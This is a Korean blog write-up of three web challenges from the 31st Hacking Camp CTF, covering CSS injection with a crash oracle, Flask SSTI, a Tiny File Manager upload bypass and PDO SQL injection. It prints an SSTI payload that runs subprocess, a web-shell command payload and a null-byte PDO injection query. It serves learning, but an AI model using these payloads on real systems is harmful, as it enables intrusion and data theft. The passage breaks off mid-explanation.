CTF & Wargame(CTF's)

제 31회 해킹캠프 CTF write up

KWAKBUMJUN 2025. 9. 10. 22:41

 

이번에 처음으로 제 31회 해킹캠프에 참여했다. 이번에 CTF를 진행하면서 배운 것들이 정말 많기 때문에 라이트업을 작성해본다.

STAFF ONLY

 

로그인을 하고 해당 페이지를 보면, 엄청나게 많은 좌석들을 확인할 수 있다. 이중에서 하나만 골라서 선택완료 버튼을 누르면 mypage에

이렇게 내가 예매한 좌석이 뜬다.

<endpoint>

/list -> staff only -> 접근 불가능

/report -> 예매 스탭에게 실시간으로 오류를 신고할 수 있는 기능이다.

코드 분석

add_header(response) 함수

@app.after_request
def add_header(response):
    csp_policy = [
        "default-src 'none'",
        "script-src 'none'",
        "style-src 'self' 'unsafe-inline'"
    ]
    response.headers['Content-Security-Policy'] = "; ".join(csp_policy)
    return response

default-src ‘none’ : 모든 리소스 로드를 차단한다. 이미지, 스크립트, 폰트, 프레임 등 모든 외부 리소스 로딩 불가.

script-src ‘none’ : 자바스크립트 실행을 완전히 차단. inline 스크립트, 외부 스크립트 전부 불가

style-src ‘self’ ‘unsafe-inline’ : css만 예외적으로 허용. ‘self’ : 같은 도메인의 css는 허용. unsafe-inline : <style> 태그 안의 인라인 css도 허용

-> css만 허용하는 마지막 csp 정책이 살짝 수상하다.

index() 함수

@app.route("/")
def index():
    db = get_db()
    reserved = []
    if "uid" in session:
        # "uid"라는 값이 세션에 존재하면
        reserved = [r["seat_code"] for r in db.execute(
            "SELECT seat_code FROM tickets WHERE uid=?",
            (session["uid"],)
        ).fetchall()]
    # uid가 사용자 세션인 seat_code 조회 -> reserved에 저장
    selected = request.args.get("selected")
    msg = request.args.get("msg")
    return render_template("index.html",
                           reserved=reserved,
                           selected=selected,
                           logged_in=("uid" in session),
                           msg=msg)

"uid"가 세션에 있으면 -> 로그인한 사용자로 인식

해당 사용자가 예약한 좌석들을 db에서 조회

결과(fetchall())를 seat_code만 뽑아내서 리스트 reserved에 저장

ex) ["A1", "B3"]

-> 별 기능 없음 -> 특이점 x

buy() 함수

@app.route("/buy", methods=["POST"])
@login_required
def buy():
    seat_code = request.form.get("seat_code", "").strip()
    optional = request.form.get("optional", "").strip()
    # seat_code, optional을 get 요청으로 받아옴
    
    if not seat_code:
        flash("좌석을 선택하세요.")
        return redirect(url_for("index"))
    db = get_db()
    
    db.execute("INSERT INTO tickets(uid, seat_code, optional) VALUES(?,?,?)",
               (session["uid"], seat_code, optional))
    # 해당 사용자가 선택한 seat_code, optional을 tickets 테이블의 uid, seat_code, optional
    # 에 삽입
    db.commit()
    flash("좌석 예약 성공!")
    return redirect(url_for("index", selected=seat_code))

optional 값은 어디에 쓰는건지 모르겠음

login() 함수

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username", "")
        password = request.form.get("password", "")
        hashed = hashlib.sha256(password.encode()).hexdigest()
        # password는 sha256으로 인코딩
        db = get_db()
        user = db.execute("SELECT * FROM users WHERE username=? AND password=?",
                          (username, hashed)).fetchone()
        # username과 password가 사용자 입력인 users 조회
        if user:
            # 해당 user가 존재하면
            session["uid"] = user["id"] # session에 해당 id 저장
            session["username"] = user["username"] # username에 해당 username 저장
            if "staff_code" in user.keys() and user["staff_code"]:
                # 만약 "staff_code"가 user 값에 존재하면, 
                session["staff_code"] = user["staff_code"]
                # staff_code도 저장
            return redirect(url_for("index"))
        return render_template("login.html", error="Login failed")
    return render_template("login.html")

-> staff_code를 알아내는 것이 중요할 것 같다.

mypage() 함수

@app.route("/mypage")
@login_required
def mypage():
    db = get_db()
    tid = request.args.get("ticket_id", type=int)
    # get으로 들어온 ticked_id를 int 형으로 가져옴
    ticket = None
    if tid: # if tid exists
        query = "SELECT id, uid, seat_code, optional FROM tickets WHERE id=?"
        # 사용자 입력 id와 같은ㅇ id, uid, seat_code, optional 조회
        params = (tid,)
        if not is_admin_session():
            # admin_session이 아니면
            query += " AND uid=?"
            # query에 -> AND uid=? 추가
            params = (tid, session["uid"])
        ticket = db.execute(query, params).fetchone()
        # ticket에 쿼리 결과 저장
    if not ticket:
        # ticket이 없으면
        ticket = db.execute(
            "SELECT id, uid, seat_code, optional FROM tickets WHERE uid=? ORDER BY id DESC LIMIT 1",
            (session["uid"],)
        ).fetchone()
        # 제일 첫 번째 값 조회

    staff_code_to_display = None
    if is_admin_session():
        staff_code_to_display = session.get("staff_code")
        # 만약 admin session이라면 staff_code를 보여줌

자기 자신의 티켓만 조회가 가능하다.

만약 관리자라면 staff_code까지 조회가 가능함.

list_page() 함수

@app.route("/list")
def list_page():
    db = get_db()

    provided_code = request.args.get("code") # get으로 code 값 가져옴
    admin = db.execute(
        "SELECT staff_code FROM users WHERE username=?",
        (ADMIN_USER,)
    ).fetchone()
    # username이 ADMIN_USER인 staff_code 레코드 조회

    if not (admin and provided_code == admin["staff_code"]):
        # 만약 admin이 존재하지 않고, provided_code가 db의 staff_code와 일치하지 않다면,
        return render_template("403.html"), 403
        # 403 에러 출력 -> STAFF ONLY

    custom_notice = request.args.get("motd") # get으로 motd 입력받음
    rendered_notice = None
    if custom_notice: # motd 요청이 들어오면 
        try:
            rendered_notice = render_template_string(custom_notice)
            # 여기서 ssti 터짐
        except Exception:
            rendered_notice = "Error: Invalid MOTD format."

    return render_template(
        "list.html",
        custom_notice=rendered_notice,
        reserved=[]  
    )

render_template_string() 함수를 사용하고 있음 

-> jinja2 템플릿 엔진을 이용해 직접 문자열을 템플릿으로 해석해 렌더링 하는 함수

-> 즉, jinja2 문법을 그대로 화면에 해석해서 표시함

만약 사용자가 motd값에 {{7*7}}과 같은 페이로드를 넣으면 -> 49 출력함

-> 하지만 motd는 staff로 로그인 한 뒤에 사용할 수 있다. 따라서 staff_code를 알아낸 뒤에 staff 페이지에서 ssti를 통해 flag를 추출 해야할 것 같다.

report() 함수

@app.route("/report", methods=["GET", "POST"])
@login_required
def report():
    if request.method == "POST":
        path = (request.form.get("path") or "").strip()
        #/mypage?
        target_url = urljoin(BASE_URL, path.lstrip("/"))
        verdict = bot_visit(target_url)
        return render_template("report.html", msg=verdict)
    return render_template("report.html")

관리자 봇이 해당 path의 url에 방문

bot_visit() 함수

admin 계정으로 로그인하여 전달 받은 url로 이동하고, 로딩 시간을 잰다.

정상 로딩이면 소요 시간을 메시지로 출력한다.

여기서 주석으로 우리에게 아래와 같은 힌트를 줬다.

# HINT: 크래쉬는 타임아웃을 유발할 수 있습니다.

취약점 분석

일단 코드를 분석했을 때 내가 생각한 취약점은 아래와 같다.

- add_header()에서 css만 예외적으로 허용한다는 것 -> css injection

- bot_visit() 함수에서 준 hint -> css injection

- list_page() 함수에서 터지는 ssti

css injection 확인

optional 값이 어디에 쓰이는지 모르겠어서 이것저것 시도해보다가 해당 문제를 풀었던 분께 질문을 해서 힌트를 받았다.

optional 값에 이상한 값을 넣고 mypage에 들어가면 확인할 수 있을 것이라고 하셔서 optional에 red를 넣고 mypage에서 확인해보니까

이렇게 빨간색으로 바뀌었다 -> css injection 가능


Crash 와 Css injection

chromium crash로 정보를 유출시키는 방법이 있다.

https://issues.chromium.org/issues/41490764

 

Chromium

 

issues.chromium.org

위의 자료를 참고하면 알 수 있는데, 아래의 코드처럼 상대 색상 문법으로 다시 분해 및 참조하면 탭이 즉시 크래시가 난다고 한다.

/* 재현 예 */ background-color: srgb(from color-mix(in srgb, blue 50%, red) r g b);

-> 이런 페이로드를 mypage에 넣고 봇에게 해당 url을 넘겨서 staff_code를 하나씩 알아내야 한다.


익스 코드를 첨부하려고 찾아봤는데.. 도저히 보이지 않는다... ㅠㅠ 익스 코드는 대충 

/buy에서 payload를 삽입한 뒤에 /mypage에 접근한다. mypage에서 찾은 ticket id를 추출 하고 해당 ticket_id를 /report에 보낸다. 그리고 ticket id를 출력하면 한 글자씩 추출할 수 있다. 

 

그렇게 나온 ticket id로 /list 엔드포인트에 접근하면 staff 페이지에 접속할 수 있다. 해당 페이지에 접속하여 {{7*7}} 과 같은 ssti 페이로드를 삽입하면 49가 출력되는 것을 확인할 수 있고, 

{{ self.__init__.__globals__.__builtins__.eval("__import__('subprocess').run(['cat','flag.txt'], capture_output=True, text=True).stdout") }}

위와 같은 페이로드를 삽입하니까 flag를 획득할 수 있었다.

Demon File Manager

이런식으로 파일 업로드가 가능하다.

파일을 업로드 하고 업로드된 파일을 클릭하면 위와 같은 화면을 볼 수 있다. -> 여기서 파일 업로드 취약점이구나 생각이 들었다.

 

그리고 디스코드에

이런 힌트가 올라와서 우측 하단에 버튼을 클릭하니까 '

이런 화면으로 넘어갔다. 해당 오픈소스를 사용하여 구현한 서비스인듯 하다.

익스플로잇

위의 링크에 들어가서 git 파일을 열면 해당 서비스의 백엔드 코드를 얻을 수 있다. 

https://github.com/prasathmani/tinyfilemanager/tree/master?tab=readme-ov-file

 

GitHub - prasathmani/tinyfilemanager: Single-file PHP file manager, browser and manage your files efficiently and easily with ti

Single-file PHP file manager, browser and manage your files efficiently and easily with tinyfilemanager - prasathmani/tinyfilemanager

github.com

이 중에서도 제일 중요해 보이는 tinyfilemanager.php를 분석해보자. 그런데 코드가 5천줄이나 된다. 이게 맞나 싶었지만 단서가 이것밖에 없어서 한번 대충 코드를 읽어보니까 

$filename = $f['file']['name'];              // 업로드된 원본 파일 이름
$tmp_name = $f['file']['tmp_name'];          // 임시 저장된 경로
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' 
       ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) 
       : '';                                 // 확장자 추출 (소문자 변환)

$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
// 설정 상수 FM_UPLOAD_EXTENSION 이 있으면 콤마로 나눈 배열, 없으면 false

$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
// 허용된 확장자 배열 안에 있는지 확인
// 허용 리스트가 비어 있으면(true) 모든 확장자 허용

 

 

 

 

이런 코드가 보였다. 이 코드는 확장자를 검사하는 동작을 한다. 대충 동작 과정은 아래와 같다.

1. 업로드된 파일의 확장자를 추출하고 소문자로 변환한다.

2. FM_UPLOAD_EXTENSION

-> 설정(config)에서 지정된 허용 확장자 목록

3. in_array($ext, $allowed)

-> 현재 업로드 파일의 확장자가 허용 목록 안에 있는지 검사한다.

-> 있으면 통과, 없으면 $isFileAllowed = false

 

바로 여기서 취약점이 터진다. 허용 확장자 검사는 $f['file']['name'](filename)의 확장자로만 한다. 실제 저장 위치/이름은 $_REQUEST['fullpath']를 사용한다. 즉, 사용자가 good.jpg라는 이름으로 업로드 하면서 fullpath=uploads/shell.php로 지정하면, 확장자 검사가 통과된다. -> 실제로는 shell.php가 저장됨

이런식으로 익스를 해보면 성공적으로 업로드 되었다는 response를 볼 수 있다.

이제 shell.php를 클릭하여 Fullpath를 확인한 뒤에 새로운 페이지에서 /upload/425e3990-ad88-8d1a-de7b-d71393795420/shell.php 이렇게 경로를 조작해주면 성공적으로 웹셸이 업로드 되고 잘 작동하는 것을 확인할 수 있다.

payload : ?cmd=cd%20../../../../../../../;ls;cat%20flag.txt

flag : HCAMP{869d99c1b9e71a5158f091101318c1300e7f06e09b376c16ec583181e2d62559}

Yet Another Web

문제 파일을 열면 위와 같은 로그인 페이지를 확인할 수 있다. 문제에서 guest 계정을 줬기 때문에 guest/guest로 로그인 하면

"Access denied: Admin privileges required.” 라고 뜬다. 

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(100) NOT NULL,
    email VARCHAR(100),
    role VARCHAR(20) DEFAULT 'user'
);

INSERT INTO users (username, password, email, role) VALUES
('admin', 'fake_pw', 'admin@hcamp.com', 'admin'),
('guest', 'guest', 'guest@hcamp.com', 'user');

코드에서 admin의 id는 줬기 때문에 password만 알아내면 된다. login.php를 보니 아래와 같은 코드를 확인할 수 있었다.

$loginResult = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['id']) && !empty($_POST['pw'])) {
    require_once 'config.php';
    require_once 'api.php';
    // require_once로 config.php, api.php 읽음

    $id = trim($_POST['id']);
    // id 공백 제거
    
    $pw = $_POST['pw'];
    $id = $db->quote($id);
    // quote - 문자열을 싱글쿼터로 묶음
    
    $sql = "SELECT * FROM users WHERE username = %s AND password = ?";
    $query = sprintf($sql, $id);
    // sprintf() -> 형식화할 문자열에 특정 값을 바인딩해줌
    // $sql 문자열에 있는 %s에 $id를 바인딩함
    

    try {
        $result = executeQuery($db, $query, $pw);
        // $pw값 바인딩 후 쿼리 실행
        
        if ($data = $result->fetch(PDO::FETCH_ASSOC)) {
            // fetch() 첫번째 행만 가져옴
            // PDO::FETCH_ASSOC -> 컬럼명만 배열의 키로 반환 -> result['컬럼명']만 사용 가능
            // 결과 : $data['컬럼명'] 이런식으로 사용
            
            if ($data['role'] === 'admin') {
                $_SESSION['user_id'] = $data['id'];
                $_SESSION['username'] = $data['username'];
                $_SESSION['email'] = $data['email'];
                $_SESSION['role'] = $data['role'];
                $_SESSION['login_time'] = time();
                
                header('Location: /gallery.php');
                exit;
            }
        }
    } 
    catch (Exception $e) {
        $loginResult = '<div class="alert error">System error occurred.</div>';
    }
} 
?>

일단, 처음에 require_once로 config.php와 api.php를 읽어온다.


config.php 분석

<?php
$dsn = "pgsql:host=postgres;dbname=hcamp2025";

$db = new PDO($dsn, 'postgres', 'postgres', [
    PDO::ATTR_EMULATE_PREPARES => true,
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);

?>

PDO란?

PDO는 주로 sqli를 막기 위해 사용한다고 한다. PDO는 php에서 제공하는 PHP Data Objects)이다.

pdo란 php에서 제공하는 여러 db를 같은 방법으로 접근하게 해주는 확장 모듈이다. 여러 종류의 데이터베이스를 같은 방식으로 사용할 수 있게 해주고, PDO statement라는 일종의 prepared statement를 제공해 데이터 바인딩을 지원한다.

 

PDO 사용법

$mysql_hostname = 'localhost';
$mysql_username = 'root';
$mysql_password = 'sssddd456852';
$mysql_db_name = 'used_market_project_db';
$mysql_charset = 'utf8';

$dsn = 'mysql:host='.$mysql_hostname.';dbname='.$mysql_db_name.';charset='.$mysql_charset;

try{

    $pdo = new PDO($dsn, $mysql_username, $mysql_password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    echo "Connected successfully </br>";

} catch (PDOException $e) {

    echo 'Connect failed : ' . $e->getMessage() . '';
    
}

dsn 부분에서는 현재 사용중인 db를 명시하고 사용하면 된다.

현재 사용중인 db는 mysql이기 때문에 “mysql:”를 적어준 것이다.

기존에 select 구문을 쓸 때

select * from test_table where name=’$name’; 으로 사용했다면, 현재는 prepare()로 select * from test_table where name=:name 으로 쿼리문을 정의하고, 나중에

$select_data_stmt → bindValue(’:name’. $name,PDO::PARAM_STR);

이렇게 값을 대입해준다. 이렇게 하면 sql문과 데이터를 명확히 구분할 수 있어서, sql 문에 해커가 따로 쿼리문을 적을 수 없다.

dsn을 적어준 뒤 아래와 같이 PDO 객체를 생성해야 한다.

 

dsn을 적어준 뒤 아래와 같이 PDO 객체를 생성해야 한다.

$pdo = new PDO($dsn, $dbUser, $dbPass);

유의 사항

sql 문에는 웬만하면, ? 보다는 이름을 사용하자. ?로 하면 순서를 사용해서 바인딩을 해야되는데, 값이 많아지면, 더 비교가 어려워진다고 한다.

ex) 이름 → :name

결과 값 가져오기(fetch() vs fetchAll())

fetch()

fetch()의 경우, 가장 첫 번째 행을 가지고 온다. 반복문을 사용해서 모든 행을 가져오는 처리가 가능하다.

fetchAll()

fethAll()의 경우는 모든 행을 가지고 올 수 있다.

모드 지정

fetch()나 fetchAll() 에 사용하는 예약 상수들이 있다.

<aside> 💡

default mode → PDO::FETCH_BOTH → 숫자 인덱스를 배열의 키로 반환 + 컬럼 명도 배열의 키로 반환. 그러면 이제 $result[’컬럼명’] or $result[index] 둘다 됨

PDO::FETCH_ASSOC → 컬럼명으로만 배열의 키로 반환 → $result[’컬럼명’]만 사용이 가능하다.

PDO::FETCH_NUM → 숫자 인덱스로  배열의 키를 반환한다. -> $result[0];

PDO::FETCH_OBJ =>  객체로 반환  =>  $result -> name 이렇게

</aside>

추가 설명

PDO::ATTR_ERRMODE → PDO객체가 에러 처리 방식을 결정한다.

PDO::ERRMODE_EXCEPTION → EXCEPTION을 던지는걸로 처리하겠다. → try catch 구문 사용

그리고

$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);

이런게 있는데, 이게 true일 경우에는 서버로 sql문이 아래와 같이 가진다.

"INSERT into Customers (CustomerName, ContactName) VALUES ('Cardinal', 'Tom B. Erichsen')"

하지만 false일 경우에는

"INSERT into Customers (CustomerName, ContactName) VALUES (:cus_name, :con_name)”

이렇게 sql문이 전송된다.

즉, true인 경우 매개 변수가 있는 쿼리의 보안이 적용되지 않는다.


api.php

로그인 기능에서 참고할 기능은 아래의 코드 뿐이다.

function executeQuery($db, $query, $pass) {
    $stmt = $db->prepare($query);
    $stmt->execute([$pass]); // $pw에 저장된 값 바인딩
    return $stmt;
}

$pass 인자값을 쿼리에 바인딩한다.

 

전체 코드를 좀 간소화 시켜보면

$id = trim($_POST['id']);
// 공백 제거
$pw = $_POST['pw'];
$id = $db->quote($id);
// 싱글쿼터로 묶기

$sql = "SELECT * FROM users WHERE username = %s AND password = ?";
$query = sprintf($sql, $id);
// %s -> $id 삽입

function executeQuery($db, $query, $pass) {
    $stmt = $db->prepare($query);
    $stmt->execute([$pass]); // $pw에 저장된 값 바인딩
    return $stmt;
}

$result = executeQuery($db, $query, $pw);

이렇게 간소화 시킬 수 있다.

취약점 분석

https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/

 

https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/

Searchlight Cyber's Security Research team details a Novel Technique for SQL Injection in PDO's Prepared Statements.

slcyber.io

A NOVEL TECHNIQUE FOR SQL INJECTION IN POD’S PREPARED STATEMENTS

저자에 의하면 해당 기법은 새로운 기법익, unexploitable한 시나리오에서도 sqli를 가능하게 한다고 한다.

PHP PDO Prepared Statements 101

PDO는 php 서비스를 데이터베이스에 연결하는 데 가장 일반적으로 사용되는 라이브러리 중 하나라고 한다. 사용법은 아래와 같다.

<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$stmt = $pdo->prepare('SELECT id, name, sku FROM fruit WHERE name = ?');
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
	echo join(' : ', $v) . PHP_EOL;
}

name 매개변수를 apple로 설정하여 방문하면 아래와 같은 응답을 받는다.

1 : apple : FRU-APL

prepared statement를 사용하고 있기 떄문에 해당 코드는 sql injection으로부터 안전하다고 할 수 있다.

prepare()을 쓰면, 보통 “prepared statement”가 실행된다고 생각할 수 있다. 하지만 mysql에서 PDO를 사용할때는 기본적으로 native한 prepared statement를 사용하지 않는다. 대신 PDO가 자체적으로 흉내(애뮬레이션)를 내서 prepared statement처럼 보이도록 한다. 즉, ? 같은 placeholder가 있으면, PDO가 실행 전에 미리 문자열을 escape 해서 완성된 쿼리를 만든 다음, mysql 서버에 던지는 방식이다. 따라서 실제로는 안전해보이지만, 진짜 prepared statement가 아니고, PDO의 문자열 치환인 셈이다.

** 단, PDO::ATTR_EMULATE_PREPARES 옵션을 false로 바꾸면 native mysql prepared statement로 작동함 **

<native vs PDO 차이점>

  1. native mysql prepared statement
    1. DB 서버가 “쿼리 구조” 와 “값”을 분리해서 받음 → 애초에 값이 쿼리 문자열에 포함되지 않음
  2. PDO::ATTR_EMULATE_PREPARES
    1. php가 미리 문자열을 만들어서 DB에 전달함 → 값을 쿼리 문자열 안에 넣되, 특수문자를 무력화 시킨다.

PDO는 애뮬레이션을 하기 때문에 내부적으로 ?나 :param 같은 placeholder를 발견하면, 여기에 사용자가 전달한 값을 escape 해서 끼워 넣는 방식을 써야 한다. 아래와 같은 pseudocode로 작동한다고 생각할 수 있다.

for (char in stmt) {
	if (char is '?' or ':') {
		replace with escaped bound param
	}
}

위와 같이 작동한다면 몇가지 문제가 발생한다. 만약 sql 쿼리가 아래와 같다고 생각하면,

SELECT * FROM users WHERE name = ? /* TODO: refactor this ? */

실제로는 name = ? ← 이 물음표만 사용자 입력값이 들어가는 placeholder이다.

하지만 만약 PDO가 단순히 문자 하나하나를 위의 의사코드처럼 훑다가 ?가 나오면 파라미터로 치환한다면, 주석 안에 있는 물음표도 placeholder로 인식해버리는 문제가 발생한다.

그래서 PDO 개발자들이 SQL parser를 만들었다. 그냥 문자 단위로 ?만 찾는 것이 아니라, 문자열 리터럴, 테이블/컬럼 이름 백틱, 주석 등을 직접 분석해서 진짜로 placeholder만 골라내고, 나머지는 무시한다.

https://github.com/php/php-src/blob/master/ext/pdo_mysql/mysql_sql_parser.re

(mysql parser 코드)

PDO는 자체 mysql parser를 만들어서 ?와 :param이 진짜 파라미터 자리인지, 아니면 단순 문자열/주석 안에 있는 건지 구분하려고 했다. 하지만 아래와 같은 상황에서 잘못 인식하는 경우가 나타났다.

SELECT 'What?' AS test;

여기서 What? 안의 ?는 그냥 문자열인데, PDO가 이걸 파라미터 placeholder라고 착각할 수 있다.

SELECT * FROM users WHERE colonsyntax::text = 'abc';

:text를 이름 있는 파라미터 :text로 착각할 수도 있다.

The Impossible SQLi

문제 상황

prepare()를 사용할 때 보통 사용자 입력은 ? 자리(Placeholder)에 바인딩해서 안전하게 다룬다.

그런데 컬럼 이름이나 테이블 이름은 ? 바인딩이 불가능하다. → mysql perpared statements에서 자리표시자는 값 자리에만 들어갈 수 있고, 식별자 자리에 쓸 수 없다.

대안

따라서 개발자들은 사용자 입력을 쿼리 문자열에 직접 집어넣어야 한다. 보안을 위해 백틱으로 감싸고, 만약 입력 안에 백틱이 있으면 ```` -> ``````으로 치환(escape)한다.

$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

→ 이런식으로 sql에 끼워넣음

만약 사용자가 ?col=color&name=apple을 입력하면

select `color` from fruit where name='apple'

<정리>

즉, 해커가 다른 escape 문자를 사용해서 악의적인 페이로드를 넣지 못하도록 백틱으로 사용자 입력을 감싸서 식별자로 인식한다.


이제, PDO의 자체 파서가 \0(null byte) 때문에 백틱 처리를 실패하고, 그 결과 ?(placeholder)를 바인딩 자리로 오인식하는 과정을 설명한다.

상황

원래 코드는 사용자가 고른 컬럼명을 아래와 같이 넣는다 :

select `사용자 입력` from fruit where name = ?

백틱으로 감쌌기 때문에 안전해 보인다.

  1. null byte 입력(%00)
    1. 만약 col=%00를 넣으면 → \\0 형태가 되어 버림
    2. PDO 파서 규칙(ANYNOEOF = [\001-\377])에는 널 바이트(0x00)가 포함되지 않으므로, 백틱 안에서 널을 만나면 토큰화 실패
      1. 그 결과 sql 문이 깨지고 문법 오류를 낸다.
  2. ?%00 입력
    1. 사용자가 col=?%00를 넣으면 쿼리는 :
select `?\\0` from fruit where name = ?

PDO 파서가 해석 과정

  • 백틱을 보고 파서는 ... 블록을 실별자로 통째로 읽어들이려고 시도한다.
  • 식별자 내부에서 ?를 만남 → 백틱 안에 있기 때문에 식별자 일부로 처리(not placeholder)
  • null byte(\0)를 만남 → 규칙 위반 → 백트래킹
  • 백트래킹으로 인해 처음 백틱으로 되돌아가서 해당 백틱은 specials로 해석함(SKIP_ONE)
  • 백틱이 사라졌기 때문에 ?는 식별자가 아닌 placeholder로 인식됨

이제 파서 입장에서는 쿼리 바인딩 자리 ?가 2개 보인다 :

  • 컬럼명 부분의 ? (오인식)
  • where name = ? (정상)

→ 하지만 코드에서는 execute([$_GET['name']])로 파라미터 1개만 전달했기 때문에, PDO가 “바인딩 개수 불일치” 오류를 발생시킨다.(HY093)


 

<PDO Parser 동작 원리>

prepared statement

$stmt = $pdo->prepare("SELECT `col` FROM fruit WHERE name = ?");
  • 여기서 PDO는 db에 바로 넘기지 않고, 먼저 자체 파서를 돌린다.
  • 이유 : emulate mode에서는 ? 자리를 pdo가 직접 찾아서 치환해야 하기 때문이다.

parser가 sql을 토큰 단위로 쪼갬

  • PDO 안의 scanner가 sql 문자열을 문자 단위로 읽는다.
  • 각 문자가 어떤 문맥에 속하는지를 정하는 규칙이 있다.

<예시>

  • ... -> 식별자
  • ' ... ' 또는 " ... " → 문자열(string literal)
  • --, /* ... */ → 주석(comment)
  • ? → 바인딩 자리
  • :name → 이름 있는 바인딩 자리

컨텍스트에 따라 다르게 처리

  • 문자열 안이나 백틱 안에 있는 ? 는 그냥 글자로 처리한다 (Not placehodler)
  • 주석 안에 있는 ? 도 무시함
  • 오직 문맥 밖에 있는 ? 만 바인딩 자리로 센다.

tokenization 규칙

QUESTION = [?];                  // ? 하나 → 바인딩
BINDCHR  = [:][a-zA-Z0-9_]+;     // :name → 바인딩
COMMENTS = ("/* ... */" | "-- ..." | "#..."); // 주석
["'`...] → 문자열/식별자 리터럴
  • 위의 규칙대로 하나씩 토큰을 반환한다.
  • 반환된 토큰이 QUESTION이나 BINDCHR이면 → 여기는 파라미터 자리구나 하고 카운트한다.

<specials 문자가 있을 시 동작 과정>

문자 하나씩 토큰화를 하다가 규칙에 위배되는 문자를 만났을때, 첫 글자로 되돌아가서 다른 규칙을 적용한다.

바인딩 개수 체크

  • 파서가 쿼리를 끝까지 읽고 나면, “총 바인딩 자리가 몇개인지”를 기록한다.
  • 이후 execute()에서 전달된 배열 개수와 비교한다.
  • 개수가 맞지 않으면 HY093 같은 오류를 반환한다.

실제 치환

  • execute 시점에, PDO는 사용자가 넘긴 값들을 가져와서 ? 자리마다 적절히 escape해서 sql 문자열에 넣는다.
  • 그리고 최종 SQL DB 서버에 보낸다.

문제점

  • 이 파서는 “진짜 SQL 파서”가 아니고, 축약 버전이다.
  • 따라서 특수한 입력(ex : null byte, 주석 || 백틱 안의 특수문자 등)을 만나면 문맥을 잘못 해석할 수 있다.
  • 결과 :
    • 원래는 무시해야할 ? 를 바인딩 자리로 인식 → 개수 불일치 에러
    • 더 복잡하게 조합하면 sqli 가능

→ 일단 위의 과정을 쉽게 이해하기 위해선 pdo 파서의 동작 방식을 알아야 한다.


<HY093 에러 해결>

원래 템플릿은 아래와 같다.

SELECT `?\\0` FROM fruit WHERE name = ?

?#\0가 들어오면?

  • ? → question token(placeholder)로 인식.
  • 바로 뒤의 # → 주석 시작. PDO 스캐너의 규칙에 comments로 # 한줄 주석이 포함되어 있기 때문에 주석 뒤에 나오는 내용은 텍스트로 처리한다. → 결과적으로 파서는 placeholder를 1개만 보게 된다.

HY093(개수 불일치) 사라짐

  • 파서가 placeholder 1개만 본 상태에서 execute([’x’])처럼 값 1개가 넘어오니 바인딩 개수가 일치함

emulate 치환 시 생기는 “문법 깨짐”

  • emulate prepare에서는 pdo가 직접 그 placeholder 위치에 넘긴 값을 문자열 리터럴로 넣는다. x를 넣는다면 ‘x’ 형태가 들어간다.
  • 그런데 그 ?가 위치한 곳은 원래 컬럼명 자리였다. 따라서 문자열 리터럴 ‘x’가 들어가면, 최종 조각은 아래와 같이 만들어진다.
SELECT `'x'`#... FROM fruit WHERE name = ?

→ 즉, 백틱으로 감싸진 식별자 위치에 따옴표 문자열을 끼워넣은 꼴이 되어 SQL 문법이 깨진다.

Mysql 1064 문법 에러

  • 결과적으로 HY093은 해결되었지만, 백틱 안의 문자열 리터럴 때문에 해당 에러가 발생한다.

<sqli 성립 과정>

시작 상태와 PDO의 오해석

초기 쿼리 개념 :

SELECT `?#\\0` FROM fruit WHERE name = ?
  • ?#\\0 : 사용자가 col=?%23%00를 보낸ㅁ
  • where name = ? : 실제 바인딩 자리(여기에 name 값이 바인딩됨)

PDO 파서 동작

  • 백틱 블록으로 묶으려다 \0 때문에 식별자 토큰 매칭 실패 → 백틱은 specials로 skip, 앞의 ?는 placeholder로 오인식
  • 그래서 첫 번째 ? 자리에 name 파라미터 값이 들어감

사용자가 name=x라고 보냈다면, PDO가 치환한 결과 :

SELECT `'x'#\\0` FROM FRUIT WHERE name = ?

%23과 널 바이트 제약, 그리고 세미콜론

문제 : mysql 주석 안에는 널 바이트가 들어갈 수 없음 → 에러 유발

해결 : # 대신 세미콜론으로 문을 먼저 끝내고, 그 뒤는 #로 주석처리 하면 널이 뒤쪽에 박혀도 쿼리 본문에는 영향이 없음.

ex :

  • 시도 1 : name=x + col=?%23%00 → \0 때문에 에러
  • 시도 2 : name=x;%23 + col=?%23%00 → 세미콜론으로 쿼리문을 조기 종료하고 남은 부분 주석처리

결과 :

SELECT `'x`;#'#\\0` FROM FRUIT WHERE name = ?

→ 문제 : 'x 이런 컬럼명은 존재하지 않기 때문에 여전히 에러남

해결 : 컬럼명 매칭(alias)과 \' 트릭

컬럼명이 없다는 에러를 alias로 해결하는 기법이다.

문제 : 우리가 서브쿼리를 주입해 테입르 목록 등을 조회하려면, select 리스트의 식별자 자리에는 존재하는 컬럼명/엘리어스가 필요하다. 그런데 PDO는 quotes 함수 때문에 우리가 주입한 부분을 문자열이라고 생각해서 '를 \'로 escape한다.

→ 실제 컬럼명은 \'x처럼 변함

→ \'x에 대한 alias 설정해주면됨

최종 페이로드 :

?name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
&col=\\?%23%00
SELECT `\\'x` 
from (SELECT table_name AS `'x` from information_schema.tables
) y;
# '#\\0` FROM fruit WHERE name = ?
  • 바깥 select는 컬럼명 \'x를 요구
  • 안쪽 서브쿼리는 AS \'x로 같은 이름의 컬럼 제공함

결과 : 정상 실행

엄,, 저 페이로드 쿼리가 이해가 안됨(페이로드 이해)

SELECT `\\'x` 
from (SELECT table_name AS `'x` from information_schema.tables
) y;

mysql alias 구문에 대한 이해 :
